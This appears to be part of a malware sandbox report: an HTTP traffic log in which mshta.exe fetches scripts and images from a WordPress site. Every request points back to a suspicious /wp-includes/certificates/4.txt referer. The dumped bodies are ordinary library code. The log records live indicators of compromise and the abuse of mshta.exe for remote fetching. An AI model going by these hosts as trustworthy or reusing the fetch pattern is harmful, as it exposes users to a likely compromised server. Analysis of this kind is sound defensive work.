Aug 16, 2022 11:44:59.098704100 CEST	2351	OUT	GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.311789989 CEST	2354	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:39 GMT Server: Apache ETag: "a5146a-bbe-5c93d38d9c220" Last-Modified: Tue, 10 Aug 2021 23:54:27 GMT Content-Length: 3006 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383405 21188598 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2a 2a 0d 0a 20 20 20 20 20 2a 20 41 6c 6c 20 6f 66 20 74 68 65 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 72 20 70 75 62 6c 69 63 2d 66 61 63 69 6e 67 20 4a 61 76 61 53 63 72 69 70 74 20 73 6f 75 72 63 65 0d 0a 20 20 20 20 20 2a 20 73 68 6f 75 6c 64 20 72 65 73 69 64 65 20 69 6e 20 74 68 69 73 20 66 69 6c 65 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 4e 6f 74 65 3a 20 49 74 20 68 61 73 20 62 65 65 6e 20 61 73 73 75 6d 65 64 20 79 6f 75 20 77 69 6c 6c 20 77 72 69 74 65 20 6a 51 75 65 72 79 20 63 6f 64 65 20 68 65 72 65 2c 20 73 6f 20 74 68 65 0d 0a 20 20 20 20 20 2a 20 24 20 66 75 6e 63 74 69 6f 6e 20 72 65 66 65 72 65 6e 63 65 20 68 61 73 20 62 65 65 6e 20 70 72 65 70 61 72 65 64 20 66 6f 72 20 75 73 61 67 65 20 77 69 74 68 69 6e 20 74 68 65 20 73 63 6f 70 65 0d 0a 20 20 20 20 20 2a 20 6f 66 20 74 68 69 73 20 66 75 6e 63 74 69 6f 6e 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 54 68 69 73 20 65 6e 61 62 6c 65 73 20 79 6f 75 20 74 6f 20 64 65 66 69 6e 65 20 68 61 6e 64 6c 65 72 73 2c 20 66 6f 72 20 77 68 65 6e 20 74 68 65 20 44 4f 4d 20 69 73 20 72 65 61 64 79 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 57 68 65 6e 20 74 68 65 20 77 69 6e 64 6f 77 20 69 73 20 6c 6f 61 64 65 64 3a 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 24 28 20 77 69 6e 64 6f 77 20 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 20 2a 0d 0a 09 20 2a 20 7d 29 3b 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 2e 2e 2e 61 6e 64 2f 6f 72 20 6f 74 68 65 72 20 70 6f 73 73 69 62 69 6c 69 74 69 65 73 2e 0d 0a 20 20 20 20 20 2a 0d 0a 20 20 20 20 20 2a 20 49 64 65 61 6c 6c 79 2c 20 69 74 20 69 73 20 6e 6f 74 20 63 6f 6e 73 69 64 65 72 65 64 20 62 65 73 74 20 70 72 61 63 74 69 73 65 20 74 6f 20 61 74 74 61 63 68 20 6d 6f 72 65 20 74 68 61 6e 20 61 0d 0a 20 20 20 20 20 2a 20 73 69 6e 67 6c 65 20 44 4f 4d 2d 72 65 61 64 79 20 6f 72 20 77 69 6e 64 6f 77 2d 6c 6f 61 64 20 68 61 6e 64 6c 65 72 20 66 6f 72 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 70 61 67 65 2e 0d 0a 20 20 20 20 20 2a 20 41 6c 74 68 6f 75 67 68 20 73 63 72 69 70 74 73 20 69 6e 20 74 68 65 20 57 6f 72 64 50 72 65 73 73 20 63 6f 72 65 2c 20 50 6c 75 67 69 6e 73 20 61 6e 64 20 54 68 65 6d 65 73 20 6d 61 79 20 62 65 0d 0a 20 20 20 20 20 2a 20 70 72 61 63 74 69 73 69 6e 67 20 74 68 69 73 2c 20 77 65 20 73 68 6f 75 6c 64 20 73 74 72 69 76 65 20 74 6f 20 73 65 74 20 61 20 62 65 74 74 65 72 20 65 78 61 6d 70 6c 65 20 69 6e 20 6f 75 72 20 6f 77 6e 20 77 6f 72 6b 2e 0d 0a 20 20 20 20 20 2a 2f 0d 0a 0d 0a 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 0d 0a 20 20 20 20 Data Ascii: (function() { 'use strict'; /** * All of the code for your public-facing JavaScript source * should reside in this file. * * Note: It has been assumed you will write jQuery code here, so the * $ function reference has been prepared for usage within the scope * of this function. * * This enables you to define handlers, for when the DOM is ready: * * $(function() { * * }); * * When the window is loaded: * * $( window ).load(function() { * * }); * * ...and/or other possibilities. * * Ideally, it is not considered best practise to attach more than a * single DOM-ready or window-load handler for a particular page. * Although scripts in the WordPress core, Plugins and Themes may be * practising this, we should strive to set a better example in our own work. */ jQuery(document).ready(function($) {
Aug 16, 2022 11:44:59.316505909 CEST	2357	OUT	GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.536418915 CEST	2372	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:39 GMT Server: Apache ETag: "a534d0-1c1f-58592d497f080" Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT Content-Length: 7199 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383407 21188600 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 4d 69 67 72 61 74 65 20 76 31 2e 32 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 3d 3d 76 6f 69 64 20 30 26 26 28 6a 51 75 65 72 79 2e 6d 69 67 72 61 74 65 4d 75 74 65 3d 21 30 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 6f 6c 65 3b 69 5b 6e 5d 7c 7c 28 69 5b 6e 5d 3d 21 30 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 70 75 73 68 28 6e 29 2c 72 26 26 72 2e 77 61 72 6e 26 26 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 28 72 2e 77 61 72 6e 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 22 2b 6e 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 26 26 72 2e 74 72 61 63 65 26 26 72 2e 74 72 61 63 65 28 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 61 2c 69 2c 6f 29 7b 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 29 74 72 79 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 28 6f 29 2c 69 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 28 6f 29 2c 69 3d 65 7d 7d 29 2c 6e 7d 63 61 74 63 68 28 73 29 7b 7d 65 2e 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 42 72 6f 6b 65 6e 3d 21 30 2c 74 5b 61 5d 3d 69 7d 76 61 72 20 69 3d 7b 7d 3b 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 3d 5b 5d 2c 21 65 2e 6d 69 67 72 61 74 65 4d 75 74 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 26 26 74 2e 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 4a 51 4d 49 47 52 41 54 45 3a 20 4c 6f 67 67 69 6e 67 20 69 73 20 61 63 74 69 76 65 22 29 2c 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 3d 3d 6e 26 26 28 65 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 65 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 3d 7b 7d 2c 65 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 72 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 6f 3d 65 28 22 3c 69 6e 70 75 74 2f 3e 22 2c 7b 73 69 7a 65 3a 31 7d 29 2e 61 74 74 72 28 22 73 69 7a 65 22 29 26 26 65 2e 61 74 74 72 46 6e 2c 73 3d 65 2e 61 74 74 72 2c 75 3d 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 26 26 65 2e 61 74 74 72 48 6f 6f 6b 73 2e 76 61 6c 75 65 2e 67 65 74 7c 7c 66 75 6e 63 74 69 6f 6e Data Ascii: /! jQuery Migrate v1.2.1 \| (c) 2005, 2013 jQuery Foundation, Inc. and other contributors \| jquery.org/license /jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]\|\|(i[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE: "+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i={},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with Quirks Mode");var o=e("<input/>",{size:1}).attr("size")&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get\|\|function
Aug 16, 2022 11:44:59.540502071 CEST	2378	OUT	GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:59.759645939 CEST	2408	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:40 GMT Server: Apache ETag: "a52fb8-7054-58592f4b86d40" Last-Modified: Tue, 02 Apr 2019 21:38:21 GMT Content-Length: 28756 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383409 21188605 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 2a 0a 2a 20 42 6f 6f 74 73 74 72 61 70 2e 6a 73 20 62 79 20 40 66 61 74 20 26 20 40 6d 64 6f 0a 2a 20 70 6c 75 67 69 6e 73 3a 20 62 6f 6f 74 73 74 72 61 70 2d 74 72 61 6e 73 69 74 69 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 6d 6f 64 61 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 64 72 6f 70 64 6f 77 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 73 63 72 6f 6c 6c 73 70 79 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 61 62 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 6f 6f 6c 74 69 70 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 70 6f 70 6f 76 65 72 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 66 66 69 78 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 61 6c 65 72 74 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 62 75 74 74 6f 6e 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 6f 6c 6c 61 70 73 65 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 63 61 72 6f 75 73 65 6c 2e 6a 73 2c 20 62 6f 6f 74 73 74 72 61 70 2d 74 79 70 65 61 68 65 61 64 2e 6a 73 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 61 70 61 63 68 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4c 49 43 45 4e 53 45 2d 32 2e 30 2e 74 78 74 0a 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 62 6f 6f 74 73 74 72 61 70 22 29 2c 62 3d 7b 57 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 4d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 4f 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6f 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 20 6f 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 2c 74 72 61 6e 73 69 74 69 6f 6e 3a 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 7d 2c 63 3b 66 6f 72 28 63 20 69 6e 20 62 29 69 66 28 61 2e 73 74 79 6c 65 5b 63 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 72 65 74 75 72 6e 20 62 5b 63 5d 7d 28 29 3b 72 65 74 75 72 6e 20 61 26 26 7b 65 6e 64 3a 61 7d 7d 28 29 7d 29 7d 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 2c 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 29 2e 64 65 6c 65 67 61 74 65 28 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 6c 22 5d 27 2c 22 63 6c 69 63 6b 2e 64 69 73 6d 69 73 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 2c 74 68 69 73 29 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 74 65 26 26 74 68 69 73 2e 24 65 6c 65 6d 65 Data Ascii: /*** Bootstrap.js by @fat & @mdo* plugins: bootstrap-transition.js, bootstrap-modal.js, bootstrap-dropdown.js, bootstrap-scrollspy.js, bootstrap-tab.js, bootstrap-tooltip.js, bootstrap-popover.js, bootstrap-affix.js, bootstrap-alert.js, bootstrap-button.js, bootstrap-collapse.js, bootstrap-carousel.js, bootstrap-typeahead.js* Copyright 2012 Twitter, Inc.* http://www.apache.org/licenses/LICENSE-2.0.txt*/!function(a){a(function(){a.support.transition=function(){var a=function(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"},c;for(c in b)if(a.style[c]!==undefined)return b[c]}();return a&&{end:a}}()})}(window.jQuery),!function(a){var b=function(b,c){this.options=c,this.$element=a(b).delegate('[data-dismiss="modal"]',"click.dismiss.modal",a.proxy(this.hide,this)),this.options.remote&&this.$eleme
Aug 16, 2022 11:44:59.806621075 CEST	2438	OUT	GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:00.023684025 CEST	2462	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:35:18 GMT Server: Apache ETag: "a54b42-573c-58592e472c700" Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT Content-Length: 22332 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383411 22394920 Age: 581 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee Data Ascii: PNGIHDR9 IDATxy\|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJm3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~UH$D6\|fm-.]4<PE bbBo$!w'&%n~{ZL"H$$]Z~\qj#L\|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j\|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49838	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:45:07.780020952 CEST	3240	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:08.011382103 CEST	3276	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:48 GMT Server: Apache ETag: "a4fac1-5486-58592f81e2d80" Last-Modified: Tue, 02 Apr 2019 21:39:18 GMT Content-Length: 21638 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383417 18315025 Age: 319 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2a 0a 20 2a 20 6a 51 75 65 72 79 20 46 6c 65 78 53 6c 69 64 65 72 20 76 32 2e 32 2e 32 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 32 20 57 6f 6f 54 68 65 6d 65 73 0a 20 2a 20 43 6f 6e 74 72 69 62 75 74 69 6e 67 20 41 75 74 68 6f 72 3a 20 54 79 6c 65 72 20 53 6d 69 74 68 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6c 65 78 73 6c 69 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 61 28 62 29 3b 64 2e 76 61 72 73 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 61 2e 66 6c 65 78 73 6c 69 64 65 72 2e 64 65 66 61 75 6c 74 73 2c 63 29 3b 76 61 72 20 6a 2c 65 3d 64 2e 76 61 72 73 2e 6e 61 6d 65 73 70 61 63 65 2c 66 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 26 26 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 6d 73 50 6f 69 6e 74 65 72 45 6e 61 62 6c 65 64 26 26 77 69 6e 64 6f 77 2e 4d 53 47 65 73 74 75 72 65 2c 67 3d 28 22 6f 6e 74 6f 75 63 68 73 74 61 72 74 22 69 6e 20 77 69 6e 64 6f 77 7c 7c 66 7c 7c 77 69 6e 64 6f 77 2e 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 26 26 64 6f 63 75 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 6f 63 75 6d 65 6e 74 54 6f 75 63 68 29 26 26 64 2e 76 61 72 73 2e 74 6f 75 63 68 2c 68 3d 22 63 6c 69 63 6b 20 74 6f 75 63 68 65 6e 64 20 4d 53 50 6f 69 6e 74 65 72 55 70 22 2c 69 3d 22 22 2c 6b 3d 22 76 65 72 74 69 63 61 6c 22 3d 3d 3d 64 2e 76 61 72 73 2e 64 69 72 65 63 74 69 6f 6e 2c 6c 3d 64 2e 76 61 72 73 2e 72 65 76 65 72 73 65 2c 6d 3d 64 2e 76 61 72 73 2e 69 74 65 6d 57 69 64 74 68 3e 30 2c 6e 3d 22 66 61 64 65 22 3d 3d 3d 64 2e 76 61 72 73 2e 61 6e 69 6d 61 74 69 6f 6e 2c 6f 3d 22 22 21 3d 3d 64 2e 76 61 72 73 2e 61 73 4e 61 76 46 6f 72 2c 70 3d 7b 7d 2c 71 3d 21 30 3b 61 2e 64 61 74 61 28 62 2c 22 66 6c 65 78 73 6c 69 64 65 72 22 2c 64 29 2c 70 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 64 2e 61 6e 69 6d 61 74 69 6e 67 3d 21 31 2c 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 70 61 72 73 65 49 6e 74 28 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3f 64 2e 76 61 72 73 2e 73 74 61 72 74 41 74 3a 30 2c 31 30 29 2c 69 73 4e 61 4e 28 64 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 26 26 28 64 2e 63 75 72 